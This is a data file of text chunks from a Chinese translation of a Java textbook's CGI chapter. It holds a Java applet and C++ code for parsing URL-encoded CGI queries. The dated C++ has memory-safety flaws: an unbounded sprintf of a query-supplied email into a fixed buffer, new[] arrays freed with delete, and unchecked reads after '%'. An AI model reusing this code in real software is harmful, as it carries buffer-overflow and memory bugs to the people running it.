数据都是它们对应的文字框里提取出来，而且两端多余的空格都用 ｔｒｉｍ（）剔去了。"},
    {"text": "来自每个 字段的数据都编码为 ＵＲＬ 形式，随后采用与 ＨＴＭＬ 页中一样的方式汇编 ＧＥＴ 字串（这样一来，我们可将 Ｊａｖａ 程序片与现有的任何 ＣＧＩ 程序结合使用，以满足常规的 ＨＴＭＬ ＧＥＴ 请求）。"},
    {"text": "到这时，一些 Ｊａｖａ 的魔力已经开始发挥作用了：如果想同任何 ＵＲＬ 连接，只需创建一个 ＵＲＬ 对象，并将地址 传递给构建器即可。 构建器会负责建立同服务器的连接（对 Ｗｅｂ 服务器来说，所有连接行动都是根据作为 ＵＲＬ 使用的字串来判断的）。"},
    {"text": "就目前这种情况来说，ＵＲＬ 指向的是当前 Ｗｅｂ 站点的 ｃｇｉ－ｂｉｎ 目录（当前 Ｗｅｂ 站 点的基础地址是用 ｇｅｔＤｏｃｕｍｅｎｔＢａｓｅ（）设定的）。 一旦 Ｗｅｂ 服务器在 ＵＲＬ 中看到了一个“ｃｇｉ－ｂｉｎ”，会接着 希望在它后面跟随了 ｃｇｉ－ｂｉｎ 目录内的某个程序的名字，那是我们要运行的目标程序。 程序名后面是一个问 号以及 ＣＧＩ 程序会在 ＱＵＥＲＹ＿ＳＴＲＩＮＧ 环境变量中查找的一个参数字串（马上就要学到）。"},
    {"text": "但若使用 Ｊａｖａ 的 ＵＲＬ 对象，我们可以拦截 自 ＣＧＩ 程序传回的任何东西，只需从 ＵＲＬ 对象里取得一个 ＩｎｐｕｔＳｔｒｅａｍ（输入数据流）即可。"},
    {"text": "随后就可以读取数据行，若ｒｅａｄＬｉｎｅ（） 返回一个 ｎｕｌｌ（空值），就表明 ＣＧＩ 程序已结束了它的输出。 我们即将看到的 ＣＧＩ 程序返回的仅仅是一行，它是用于标志成功与否（以及失败的具体原因）的一个字串。"},
    {"text": "那个页凑巧是一个 ＣＧＩ 程序 的输出，但可以非常方便地进入一个原始的 ＨＴＭＬ 页，所以可以构建这个程序片，令其产生一个由密码保护的 网关，通过它进入自己 Ｗｅｂ 站点的特殊部分： ／／： ＳｈｏｗＨＴＭＬ．ｊａｖａ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＳｈｏｗＨＴＭＬ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｓｔａｔｉｃ ｆｉｎａｌ Ｓｔｒｉｎｇ ＣＧＩＰｒｏｇｒａｍ ＝ ＂ＭｙＣＧＩＰｒｏｇｒａｍ＂； Ｂｕｔｔｏｎ ｓｅｎｄ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｇｏ＂）； Ｌａｂｅｌ ｌ ＝ ｎｅｗ Ｌａｂｅｌ（）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ａｄｄ（ｓｅｎｄ）； ａｄｄ（ｌ）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ ｉｆ（ｅｖｔ．ｔａｒｇｅｔ．ｅｑｕａｌｓ（ｓｅｎｄ）） ｛ ｔｒｙ ｛ ／／ Ｔｈｉｓ ｃｏｕｌｄ ｂｅ ａｎ ＨＴＭＬ ｐａｇｅ ｉｎｓｔｅａｄ ｏｆ ／／ ａ ＣＧＩ ｐｒｏｇｒａｍ． Ｎｏｔｉｃｅ ｔｈａｔ ｔｈｉｓ ＣＧＩ ／／ ｐｒｏｇｒａｍ ｄｏｅｓｎ＇ｔ ｕｓｅ ａｒｇｕｍｅｎｔｓ， ｂｕｔ ／／ ｙｏｕ ｃａｎ ａｄｄ ｔｈｅｍ ｉｎ ｔｈｅ ｕｓｕａｌ ｗａｙ． ＵＲＬ ｕ ＝ ｎｅｗ ＵＲＬ（ ５６５ ｇｅｔＤｏｃｕｍｅｎｔＢａｓｅ（）， ＂ｃｇｉ－ｂｉｎ／＂ ＋ ＣＧＩＰｒｏｇｒａｍ）； ／／ Ｄｉｓｐｌａｙ ｔｈｅ ｏｕｔｐｕｔ ｏｆ ｔｈｅ ＵＲＬ ｕｓｉｎｇ ／／ ｔｈｅ Ｗｅｂ ｂｒｏｗｓｅｒ， ａｓ ａｎ ｏｒｄｉｎａｒｙ ｐａｇｅ： ｇｅｔＡｐｐｌｅｔＣｏｎｔｅｘｔ（）．ｓｈｏｗＤｏｃｕｍｅｎｔ（ｕ）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｌ．ｓｅｔＴｅｘｔ（ｅ．ｔｏＳｔｒｉｎｇ（））； ｝ ｝ ｅｌｓｅ ｒｅｔｕｒｎ ｓｕｐｅｒ．ａｃｔｉｏｎ（ｅｖｔ， ａｒｇ）； ｒｅｔｕｒｎ ｔｒｕｅ；"},
    {"text": "之所以选用 ＡＮＳＩ Ｃ，是 因为它几乎随处可见，是最流行的 Ｃ 语言标准。 当然，现在的 Ｃ＋＋也非常流行了，特别是采用 ＧＮＵ Ｃ＋＋编译器 （ｇ＋＋）形式的那一些（注释④）。"},
    {"text": "在解析 ＣＧＩ 信息的时候，由于我们最关心的是字段的“名称／值”对，所以要用一个类 （Ｐａｉｒ）来代表单个名称／值对； 另一个类（ＣＧＩ＿ｖｅｃｔｏｒ）则将 ＣＧＩ 字串自动解析到它会容纳的 Ｐａｉｒ 对象里 （作为一个 ｖｅｃｔｏｒ），这样即可在有空的时候把每个 Ｐａｉｒ（对）都取出来。"},
    {"text": "它们控制的是 一个块，而非单个方法或字段（也就是说，如果指定 ｐｒｉｖａｔｅ： ，后续的每个定义都具有 ｐｒｉｖａｔｅ 属性，直到 我们再指定 ｐｕｂｌｉｃ：为止）。"},
    {"text": "这是一个 Ｃ＋＋模板，可在编译期间进行配置，令其只容纳一种特定类型的对象（这里是 Ｐａｉｒ 对象）。 和 Ｊａｖａ 的 Ｖｅｃｔｏｒ 不同，如果我们试图将除 Ｐａｉｒ 对象之外的任何东西置入 ｖｅｃｔｏｒ，Ｃ＋＋的 ｖｅｃｔｏｒ 模板都会造成 一个编译期错误；"},
    {"text": "但就目前的例子来说，这样做不会造成任何方面的损害，而且更 具有 Ｊａｖａ 风格，所以大家阅读理解代码时要显得轻松一些： ５６６ ／／： ＣＧＩＴｏｏｌｓ．ｈ ／／ Ａｕｔｏｍａｔｉｃａｌｌｙ ｅｘｔｒａｃｔｓ ａｎｄ ｄｅｃｏｄｅｓ ｄａｔａ ／／ ｆｒｏｍ ＣＧＩ ＧＥＴｓ ａｎｄ ＰＯＳＴｓ． Ｔｅｓｔｅｄ ｗｉｔｈ ＧＮＵ Ｃ＋＋ ／／ （ａｖａｉｌａｂｌｅ ｆｏｒ ｍｏｓｔ ｓｅｒｖｅｒ ｍａｃｈｉｎｅｓ）． ＃ｉｎｃｌｕｄｅ ＜ｓｔｒｉｎｇ．ｈ＞ ＃ｉｎｃｌｕｄｅ ＜ｖｅｃｔｏｒ＞ ／／ ＳＴＬ ｖｅｃｔｏｒ ｕｓｉｎｇ ｎａｍｅｓｐａｃｅ ｓｔｄ；"},
    {"text": "／／ Ａ ｃｌａｓｓ ｔｏ ｈｏｌｄ ａ ｓｉｎｇｌｅ ｎａｍｅ－ｖａｌｕｅ ｐａｉｒ ｆｒｏｍ ／／ ａ ＣＧＩ ｑｕｅｒｙ． ＣＧＩ＿ｖｅｃｔｏｒ ｈｏｌｄｓ Ｐａｉｒ ｏｂｊｅｃｔｓ ａｎｄ ／／ ｒｅｔｕｒｎｓ ｔｈｅｍ ｆｒｏｍ ｉｔｓ ｏｐｅｒａｔｏｒ［］． ｃｌａｓｓ Ｐａｉｒ ｛ ｃｈａｒ＊ ｎｍ； ｃｈａｒ＊ ｖａｌ； ｐｕｂｌｉｃ： Ｐａｉｒ（） ｛ ｎｍ ＝ ｖａｌ ＝ ０； ｝ Ｐａｉｒ（ｃｈａｒ＊ ｎａｍｅ， ｃｈａｒ＊ ｖａｌｕｅ） ｛ ／／ Ｃｒｅａｔｅｓ ｎｅｗ ｍｅｍｏｒｙ： ｎｍ ＝ ｄｅｃｏｄｅＵＲＬＳｔｒｉｎｇ（ｎａｍｅ）； ｖａｌ ＝ ｄｅｃｏｄｅＵＲＬＳｔｒｉｎｇ（ｖａｌｕｅ）； ｝ ｃｏｎｓｔ ｃｈａｒ＊ ｎａｍｅ（） ｃｏｎｓｔ ｛ ｒｅｔｕｒｎ ｎｍ； ｝ ｃｏｎｓｔ ｃｈａｒ＊ ｖａｌｕｅ（） ｃｏｎｓｔ ｛ ｒｅｔｕｒｎ ｖａｌ； ｝ ／／ Ｔｅｓｔ ｆｏｒ ＂ｅｍｐｔｉｎｅｓｓ＂ ｂｏｏｌ ｅｍｐｔｙ（） ｃｏｎｓｔ ｛ ｒｅｔｕｒｎ （ｎｍ ＝＝ ０） ｜｜ （ｖａｌ ＝＝ ０）； ｝ ／／ Ａｕｔｏｍａｔｉｃ ｔｙｐｅ ｃｏｎｖｅｒｓｉｏｎ ｆｏｒ ｂｏｏｌｅａｎ ｔｅｓｔ： ｏｐｅｒａｔｏｒ ｂｏｏｌ（） ｃｏｎｓｔ ｛ ｒｅｔｕｒｎ （ｎｍ ！ ＝ ０） ＆＆ （ｖａｌ ！ ＝ ０）； ｝ ／／ Ｔｈｅ ｆｏｌｌｏｗｉｎｇ ｃｏｎｓｔｒｕｃｔｏｒｓ ＆ ｄｅｓｔｒｕｃｔｏｒ ａｒｅ ／／ ｎｅｃｅｓｓａｒｙ ｆｏｒ ｂｏｏｋｋｅｅｐｉｎｇ ｉｎ Ｃ＋＋． ／／ Ｃｏｐｙ－ｃｏｎｓｔｒｕｃｔｏｒ： Ｐａｉｒ（ｃｏｎｓｔ Ｐａｉｒ＆ ｐ） ｛ ｉｆ（ｐ．ｎｍ ＝＝ ０ ｜｜ ｐ．ｖａｌ ＝＝ ０） ｛ ｎｍ ＝ ｖａｌ ＝ ０； ｝ ｅｌｓｅ ｛ ／／ Ｃｒｅａｔｅ ｓｔｏｒａｇｅ ＆ ｃｏｐｙ ｒｈｓ ｖａｌｕｅｓ： ｎｍ ＝ ｎｅｗ ｃｈａｒ［ｓｔｒｌｅｎ（ｐ．ｎｍ） ＋ １］； ｓｔｒｃｐｙ（ｎｍ， ｐ．ｎｍ）； ｖａｌ ＝ ｎｅｗ ｃｈａｒ［ｓｔｒｌｅｎ（ｐ．ｖａｌ） ＋ １］； ｓｔｒｃｐｙ（ｖａｌ， ｐ．ｖａｌ）； ｝ ｝ ／／ Ａｓｓｉｇｎｍｅｎｔ ｏｐｅｒａｔｏｒ： Ｐａｉｒ＆ ｏｐｅｒａｔｏｒ＝（ｃｏｎｓｔ Ｐａｉｒ＆ ｐ） ｛ ／／ Ｃｌｅａｎ ｕｐ ｏｌｄ ｌｖａｌｕｅｓ： ｄｅｌｅｔｅ ｎｍ； ｄｅｌｅｔｅ ｖａｌ； ｉｆ（ｐ．ｎｍ ＝＝ ０ ｜｜ ｐ．ｖａｌ ＝＝ ０） ｛ ５６７ ｎｍ ＝ ｖａｌ ＝ ０； ｝ ｅｌｓｅ ｛ ／／ Ｃｒｅａｔｅ ｓｔｏｒａｇｅ ＆ ｃｏｐｙ ｒｈｓ ｖａｌｕｅｓ： ｎｍ ＝ ｎｅｗ ｃｈａｒ［ｓｔｒｌｅｎ（ｐ．ｎｍ） ＋ １］； ｓｔｒｃｐｙ（ｎｍ， ｐ．ｎｍ）； ｖａｌ ＝ ｎｅｗ ｃｈａｒ［ｓｔｒｌｅｎ（ｐ．ｖａｌ） ＋ １］； ｓｔｒｃｐｙ（ｖａｌ， ｐ．ｖａｌ）； ｝ ｒｅｔｕｒｎ ＊ｔｈｉｓ； ｝ ￣Ｐａｉｒ（） ｛ ／／ Ｄｅｓｔｒｕｃｔｏｒ ｄｅｌｅｔｅ ｎｍ； ／／ ０ ｖａｌｕｅ ＯＫ ｄｅｌｅｔｅ ｖａｌ； ｝ ／／ Ｉｆ ｙｏｕ ｕｓｅ ｔｈｉｓ ｍｅｔｈｏｄ ｏｕｔｉｄｅ ｔｈｉｓ ｃｌａｓｓ， ／／ ｙｏｕ＇ｒｅ ｒｅｓｐｏｎｓｉｂｌｅ ｆｏｒ ｃａｌｌｉｎｇ ＇ｄｅｌｅｔｅ＇ ｏｎ ／／ ｔｈｅ ｐｏｉｎｔｅｒ ｔｈａｔ＇ｓ ｒｅｔｕｒｎｅｄ： ｓｔａｔｉｃ ｃｈａｒ＊ ｄｅｃｏｄｅＵＲＬＳｔｒｉｎｇ（ｃｏｎｓｔ ｃｈａｒ＊ ＵＲＬｓｔｒ） ｛ ｉｎｔ ｌｅｎ ＝ ｓｔｒｌｅｎ（ＵＲＬｓｔｒ）； ｃｈａｒ＊ ｒｅｓｕｌｔ ＝ ｎｅｗ ｃｈａｒ［ｌｅｎ ＋ １］； ｍｅｍｓｅｔ（ｒｅｓｕｌｔ， ｌｅｎ ＋ １， ０）； ｆｏｒ（ｉｎｔ ｉ ＝ ０， ｊ ＝ ０； ｉ ＜＝ ｌｅｎ； ｉ＋＋， ｊ＋＋） ｛ ｉｆ（ＵＲＬｓｔｒ［ｉ］ ＝＝ ＇＋＇） ｒｅｓｕｌｔ［ｊ］ ＝ ＇ ＇； ｅｌｓｅ ｉｆ（ＵＲＬｓｔｒ［ｉ］ ＝＝ ＇％＇） ｛ ｒｅｓｕｌｔ［ｊ］ ＝ ｔｒａｎｓｌａｔｅＨｅｘ（ＵＲＬｓｔｒ［ｉ ＋ １］） ＊ １６ ＋ ｔｒａｎｓｌａｔｅＨｅｘ（ＵＲＬｓｔｒ［ｉ ＋ ２］）； ｉ ＋＝ ２； ／／ Ｍｏｖｅ ｐａｓｔ ｈｅｘ ｃｏｄｅ ｝ ｅｌｓｅ ／／ Ａｎ ｏｒｄｉｎａｒｙ ｃｈａｒａｃｔｅｒ ｒｅｓｕｌｔ［ｊ］ ＝ ＵＲＬｓｔｒ［ｉ］； ｝ ｒｅｔｕｒｎ ｒｅｓｕｌｔ； ｝ ／／ Ｔｒａｎｓｌａｔｅ ａ ｓｉｎｇｌｅ ｈｅｘ ｃｈａｒａｃｔｅｒ； ｕｓｅｄ ｂｙ ／／ ｄｅｃｏｄｅＵＲＬＳｔｒｉｎｇ（）： ｓｔａｔｉｃ ｃｈａｒ ｔｒａｎｓｌａｔｅＨｅｘ（ｃｈａｒ ｈｅｘ） ｛ ｉｆ（ｈｅｘ ＞＝ ＇Ａ＇） ｒｅｔｕｒｎ （ｈｅｘ ＆ ０ｘｄｆ） － ＇Ａ＇ ＋ １０； ｅｌｓｅ ｒｅｔｕｒｎ ｈｅｘ － ＇０＇；"},
    {"text": "／／ Ｐａｒｓｅｓ ａｎｙ ＣＧＩ ｑｕｅｒｙ ａｎｄ ｔｕｒｎｓ ｉｔ ／／ ｉｎｔｏ ａｎ ＳＴＬ ｖｅｃｔｏｒ ｏｆ Ｐａｉｒ ｏｂｊｅｃｔｓ： ｃｌａｓｓ ＣＧＩ＿ｖｅｃｔｏｒ ： ｐｕｂｌｉｃ ｖｅｃｔｏｒ＜Ｐａｉｒ＞ ｛ ｃｈａｒ＊ ｑｒｙ； ｃｏｎｓｔ ｃｈａｒ＊ ｓｔａｒｔ； ／／ Ｓａｖｅ ｓｔａｒｔｉｎｇ ｐｏｓｉｔｉｏｎ ／／ Ｐｒｅｖｅｎｔ ａｓｓｉｇｎｍｅｎｔ ａｎｄ ｃｏｐｙ－ｃｏｎｓｔｒｕｃｔｉｏｎ： ｖｏｉｄ ｏｐｅｒａｔｏｒ＝（ＣＧＩ＿ｖｅｃｔｏｒ＆）； ５６８ ＣＧＩ＿ｖｅｃｔｏｒ（ＣＧＩ＿ｖｅｃｔｏｒ＆）； ｐｕｂｌｉｃ： ／／ ｃｏｎｓｔ ｆｉｅｌｄｓ ｍｕｓｔ ｂｅ ｉｎｉｔｉａｌｉｚｅｄ ｉｎ ｔｈｅ Ｃ＋＋ ／／ ＂Ｃｏｎｓｔｒｕｃｔｏｒ ｉｎｉｔｉａｌｉｚｅｒ ｌｉｓｔ＂： ＣＧＩ＿ｖｅｃｔｏｒ（ｃｈａｒ＊ ｑｕｅｒｙ） ： ｓｔａｒｔ（ｎｅｗ ｃｈａｒ［ｓｔｒｌｅｎ（ｑｕｅｒｙ） ＋ １］） ｛ ｑｒｙ ＝ （ｃｈａｒ＊）ｓｔａｒｔ； ／／ Ｃａｓｔ ｔｏ ｎｏｎ－ｃｏｎｓｔ ｓｔｒｃｐｙ（ｑｒｙ， ｑｕｅｒｙ）； Ｐａｉｒ ｐ； ｗｈｉｌｅ（（ｐ ＝ ｎｅｘｔＰａｉｒ（）） ！ ＝ ０） ｐｕｓｈ＿ｂａｃｋ（ｐ）； ｝ ／／ Ｄｅｓｔｒｕｃｔｏｒ： ￣ＣＧＩ＿ｖｅｃｔｏｒ（） ｛ ｄｅｌｅｔｅ ｓｔａｒｔ； ｝ ｐｒｉｖａｔｅ： ／／ Ｐｒｏｄｕｃｅｓ ｎａｍｅ－ｖａｌｕｅ ｐａｉｒｓ ｆｒｏｍ ｔｈｅ ｑｕｅｒｙ ／／ ｓｔｒｉｎｇ． Ｒｅｔｕｒｎｓ ａｎ ｅｍｐｔｙ Ｐａｉｒ ｗｈｅｎ ｔｈｅｒｅ＇ｓ ／／ ｎｏ ｍｏｒｅ ｑｕｅｒｙ ｓｔｒｉｎｇ ｌｅｆｔ： Ｐａｉｒ ｎｅｘｔＰａｉｒ（） ｛ ｃｈａｒ＊ ｎａｍｅ ＝ ｑｒｙ； ｉｆ（ｎａｍｅ ＝＝ ０ ｜｜ ＊ｎａｍｅ ＝＝ ＇＼０＇） ｒｅｔｕｒｎ Ｐａｉｒ（）； ／／ Ｅｎｄ， ｒｅｔｕｒｎ ｎｕｌｌ Ｐａｉｒ ｃｈａｒ＊ ｖａｌｕｅ ＝ ｓｔｒｃｈｒ（ｎａｍｅ， ＇＝＇）； ｉｆ（ｖａｌｕｅ ＝＝ ０） ｒｅｔｕｒｎ Ｐａｉｒ（）； ／／ Ｅｒｒｏｒ， ｒｅｔｕｒｎ ｎｕｌｌ Ｐａｉｒ ／／ Ｎｕｌｌ－ｔｅｒｍｉｎａｔｅ ｎａｍｅ， ｍｏｖｅ ｖａｌｕｅ ｔｏ ｓｔａｒｔ ／／ ｏｆ ｉｔｓ ｓｅｔ ｏｆ ｃｈａｒａｃｔｅｒｓ： ＊ｖａｌｕｅ ＝ ＇＼０＇； ｖａｌｕｅ＋＋； ／／ Ｌｏｏｋ ｆｏｒ ｅｎｄ ｏｆ ｖａｌｕｅ， ｍａｒｋｅｄ ｂｙ ＇＆＇： ｑｒｙ ＝ ｓｔｒｃｈｒ（ｖａｌｕｅ， ＇＆＇）； ｉｆ（ｑｒｙ ＝＝ ０） ｑｒｙ ＝ ＂＂； ／／ Ｌａｓｔ ｐａｉｒ ｆｏｕｎｄ ｅｌｓｅ ｛ ＊ｑｒｙ ＝ ＇＼０＇； ／／ Ｔｅｒｍｉｎａｔｅ ｖａｌｕｅ ｓｔｒｉｎｇ ｑｒｙ＋＋； ／／ Ｍｏｖｅ ｔｏ ｎｅｘｔ ｐａｉｒ ｝ ｒｅｔｕｒｎ Ｐａｉｒ（ｎａｍｅ， ｖａｌｕｅ）；"},
    {"text": "Ｃ＋＋中的“命名空间”（Ｎａｍｅｓｐａｃｅ）解决了由 Ｊａｖａ 的 ｐａｃｋａｇｅ 负责的一个问题：将库名隐藏起来。 ｓｔｄ 命名 空间引用的是标准 Ｃ＋＋库，而 ｖｅｃｔｏｒ 就在这个库中，所以这一行是必需的。"},
    {"text": "如果有一个 名为 ｐ 的 Ｐａｉｒ 对象，而且在一个本来希望是布尔结果的表达式中使用，比如 ｉｆ（ｐ）｛／／．．．，那么编译器能辨 别出它有一个 Ｐａｉｒ，而且需要的是个布尔值，所以自动调用 ｏｐｅｒａｔｏｒ ｂｏｏｌ（），进行必要的转换。"},
    {"text": "根据 Ｃ＋＋类采用的所谓“经典形式”，我 们必须定义必要的“原始”构建器，以及一个副本构建器和赋值运算符——ｏｐｅｒａｔｏｒ＝（以及破坏器，用于清 除内存）。"},
    {"text": "这并不是 Ｊａｖａ 提供的一个选 项，由于我们只能传递句柄，所以在 Ｊａｖａ 里没有所谓的副本构建器（如果想制作一个本地副本，可以“克 隆”那个对象——使用 ｃｌｏｎｅ（），参见第 １２ 章）。"},
    {"text": "如果用较时髦 的 Ｃ＋＋ ｓｔｒｉｎｇ 类来代替 ｃｈａｒ＊，事情就要变得简单得多（当然，并不是所有编译器都提供了对 ｓｔｒｉｎｇ 的支 持）。"},
    {"text": "ｐｕｂｌｉｃ： Ｐａｉｒ（） ｛ ｝ Ｐａｉｒ（ｃｈａｒ＊ ｎａｍｅ， ｃｈａｒ＊ ｖａｌｕｅ） ｛ ｎｍ ＝ ｄｅｃｏｄｅＵＲＬＳｔｒｉｎｇ（ｎａｍｅ）； ｖａｌ ＝ ｄｅｃｏｄｅＵＲＬＳｔｒｉｎｇ（ｖａｌｕｅ）； ｝ ｃｏｎｓｔ ｃｈａｒ＊ ｎａｍｅ（） ｃｏｎｓｔ ｛ ｒｅｔｕｒｎ ｎｍ．ｃ＿ｓｔｒ（）； ｝ ｃｏｎｓｔ ｃｈａｒ＊ ｖａｌｕｅ（） ｃｏｎｓｔ ｛ ｒｅｔｕｒｎ ｖａｌ．ｃ＿ｓｔｒ（）； ｝ ／／ Ｔｅｓｔ ｆｏｒ ＂ｅｍｐｔｉｎｅｓｓ＂ ｂｏｏｌ ｅｍｐｔｙ（） ｃｏｎｓｔ ｛ ｒｅｔｕｒｎ （ｎｍ．ｌｅｎｇｔｈ（） ＝＝ ０） ｜｜ （ｖａｌ．ｌｅｎｇｔｈ（） ＝＝ ０）； ｝ ／／ Ａｕｔｏｍａｔｉｃ ｔｙｐｅ ｃｏｎｖｅｒｓｉｏｎ ｆｏｒ ｂｏｏｌｅａｎ ｔｅｓｔ： ｏｐｅｒａｔｏｒ ｂｏｏｌ（） ｃｏｎｓｔ ｛ ｒｅｔｕｒｎ （ｎｍ．ｌｅｎｇｔｈ（） ！ ＝ ０） ＆＆ （ｖａｌ．ｌｅｎｇｔｈ（） ！ ＝ ０）；"},
    {"text": "Ｐａｉｒ 类剩下的部分由两个方法构成：ｄｅｃｏｄｅＵＲＬＳｔｒｉｎｇ（）以及一个“帮助器”方法 ｔｒａｎｓｌａｔｅＨｅｘ（）——将由 ｄｅｃｏｄｅＵＲＬＳｔｒｉｎｇ（）使用。"},
    {"text": "Ｃ＋＋中 的继承是用一个冒号表示，在 Ｊａｖａ 中则要用 ｅｘｔｅｎｄｓ。 此外，继承默认为 ｐｒｉｖａｔｅ 属性，所以几乎肯定需要 用到 ｐｕｂｌｉｃ 关键字，就象这样做的那样。"},
    {"text": "现在基本工具已定义好，它们可以简单地在一个 ＣＧＩ 程序中使用，就象下面这样： ／／： Ｌｉｓｔｍｇｒ２．ｃｐｐ ／／ ＣＧＩ ｖｅｒｓｉｏｎ ｏｆ Ｌｉｓｔｍｇｒ．ｃ ｉｎ Ｃ＋＋， ｗｈｉｃｈ ／／ ｅｘｔｒａｃｔｓ ｉｔｓ ｉｎｐｕｔ ｖｉａ ｔｈｅ ＧＥＴ ｓｕｂｍｉｓｓｉｏｎ ／／ ｆｒｏｍ ｔｈｅ ａｓｓｏｃｉａｔｅｄ ａｐｐｌｅｔ． Ａｌｓｏ ｗｏｒｋｓ ａｓ ／／ ａｎ ｏｒｄｉｎａｒｙ ＣＧＩ ｐｒｏｇｒａｍ ｗｉｔｈ ＨＴＭＬ ｆｏｒｍｓ． ＃ｉｎｃｌｕｄｅ ＜ｓｔｄｉｏ．ｈ＞ ＃ｉｎｃｌｕｄｅ ＂ＣＧＩＴｏｏｌｓ．ｈ＂ ｃｏｎｓｔ ｃｈａｒ＊ ｄａｔａＦｉｌｅ ＝ ＂ｌｉｓｔ２．ｔｘｔ＂；"},
    {"text": "ｃｏｎｓｔ ｃｈａｒ＊ ｎｏｔｉｆｙ ＝ ＂Ｂｒｕｃｅ＠ＥｃｋｅｌＯｂｊｅｃｔｓ．ｃｏｍ＂； ＃ｕｎｄｅｆ ＤＥＢＵＧ ／／ Ｓｉｍｉｌａｒ ｃｏｄｅ ａｓ ｂｅｆｏｒｅ， ｅｘｃｅｐｔ ｔｈａｔ ｉｔ ｌｏｏｋｓ ／／ ｆｏｒ ｔｈｅ ｅｍａｉｌ ｎａｍｅ ｉｎｓｉｄｅ ｏｆ ＇＜＞＇： ｉｎｔ ｉｎＬｉｓｔ（ＦＩＬＥ＊ ｌｉｓｔ， ｃｏｎｓｔ ｃｈａｒ＊ ｅｍａｉｌＮａｍｅ） ｛ ｃｏｎｓｔ ｉｎｔ ＢＳＩＺＥ ＝ ２５５； ｃｈａｒ ｌｂｕｆ［ＢＳＩＺＥ］； ｃｈａｒ ｅｍｎａｍｅ［ＢＳＩＺＥ］； ／／ Ｐｕｔ ｔｈｅ ｅｍａｉｌ ｎａｍｅ ｉｎ ＇＜＞＇ ｓｏ ｔｈｅｒｅ＇ｓ ｎｏ ／／ ｐｏｓｓｉｂｉｌｉｔｙ ｏｆ ａ ｍａｔｃｈ ｗｉｔｈｉｎ ａｎｏｔｈｅｒ ｎａｍｅ： ｓｐｒｉｎｔｆ（ｅｍｎａｍｅ， ＂＜％ｓ＞＂， ｅｍａｉｌＮａｍｅ）； ／／ Ｇｏ ｔｏ ｔｈｅ ｂｅｇｉｎｎｉｎｇ ｏｆ ｔｈｅ ｌｉｓｔ： ｆｓｅｅｋ（ｌｉｓｔ， ０， ＳＥＥＫ＿ＳＥＴ）； ／／ Ｒｅａｄ ｅａｃｈ ｌｉｎｅ ｉｎ ｔｈｅ ｌｉｓｔ： ｗｈｉｌｅ（ｆｇｅｔｓ（ｌｂｕｆ， ＢＳＩＺＥ， ｌｉｓｔ）） ｛ ／／ Ｓｔｒｉｐ ｏｆｆ ｔｈｅ ｎｅｗｌｉｎｅ： ｃｈａｒ ＊ ｎｅｗｌｉｎｅ ＝ ｓｔｒｃｈｒ（ｌｂｕｆ， ＇＼ｎ＇）；"},
    {"text": "ｉｆ（ｓｔｒｓｔｒ（ｌｂｕｆ， ｅｍｎａｍｅ） ！ ＝ ０） ｒｅｔｕｒｎ １； ｝ ｒｅｔｕｒｎ ０； ｝ ｖｏｉｄ ｍａｉｎ（） ｛ ／／ Ｙｏｕ ＭＵＳＴ ｐｒｉｎｔ ｔｈｉｓ ｏｕｔ， ｏｔｈｅｒｗｉｓｅ ｔｈｅ ／／ ｓｅｒｖｅｒ ｗｉｌｌ ｎｏｔ ｓｅｎｄ ｔｈｅ ｒｅｓｐｏｎｓｅ： ｐｒｉｎｔｆ（＂Ｃｏｎｔｅｎｔ－ｔｙｐｅ： ｔｅｘｔ／ｐｌａｉｎ＼ｎ＼ｎ＂）； ＦＩＬＥ＊ ｌｉｓｔ ＝ ｆｏｐｅｎ（ｄａｔａＦｉｌｅ， ＂ａ＋ｔ＂）； ｉｆ（ｌｉｓｔ ＝＝ ０） ｛ ５７１ ｐｒｉｎｔｆ（＂ｅｒｒｏｒ： ｃｏｕｌｄ ｎｏｔ ｏｐｅｎ ｄａｔａｂａｓｅ． ＂）； ｐｒｉｎｔｆ（＂Ｎｏｔｉｆｙ ％ｓ＂， ｎｏｔｉｆｙ）； ｒｅｔｕｒｎ； ｝ ／／ Ｆｏｒ ａ ＣＧＩ ＂ＧＥＴ，＂ ｔｈｅ ｓｅｒｖｅｒ ｐｕｔｓ ｔｈｅ ｄａｔａ ／／ ｉｎ ｔｈｅ ｅｎｖｉｒｏｎｍｅｎｔ ｖａｒｉａｂｌｅ ＱＵＥＲＹ＿ＳＴＲＩＮＧ： ＣＧＩ＿ｖｅｃｔｏｒ ｑｕｅｒｙ（ｇｅｔｅｎｖ（＂ＱＵＥＲＹ＿ＳＴＲＩＮＧ＂））； ＃ｉｆ ｄｅｆｉｎｅｄ（ＤＥＢＵＧ） ／／ Ｔｅｓｔ： ｄｕｍｐ ａｌｌ ｎａｍｅｓ ａｎｄ ｖａｌｕｅｓ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｑｕｅｒｙ．ｓｉｚｅ（）； ｉ＋＋） ｛ ｐｒｉｎｔｆ（＂ｑｕｅｒｙ［％ｄ］．ｎａｍｅ（） ＝ ［％ｓ］， ＂， ｉ， ｑｕｅｒｙ［ｉ］．ｎａｍｅ（））； ｐｒｉｎｔｆ（＂ｑｕｅｒｙ［％ｄ］．ｖａｌｕｅ（） ＝ ［％ｓ］＼ｎ＂， ｉ， ｑｕｅｒｙ［ｉ］．ｖａｌｕｅ（））； ｝ ＃ｅｎｄｉｆ（ＤＥＢＵＧ） Ｐａｉｒ ｎａｍｅ ＝ ｑｕｅｒｙ［０］； Ｐａｉｒ ｅｍａｉｌ ＝ ｑｕｅｒｙ［１］； ｉｆ（ｎａｍｅ．ｅｍｐｔｙ（） ｜｜ ｅｍａｉｌ．ｅｍｐｔｙ（）） ｛ ｐｒｉｎｔｆ（＂ｅｒｒｏｒ： ｎｕｌｌ ｎａｍｅ ｏｒ ｅｍａｉｌ＂）； ｒｅｔｕｒｎ； ｝ ｉｆ（ｉｎＬｉｓｔ（ｌｉｓｔ， ｅｍａｉｌ．ｖａｌｕｅ（））） ｛ 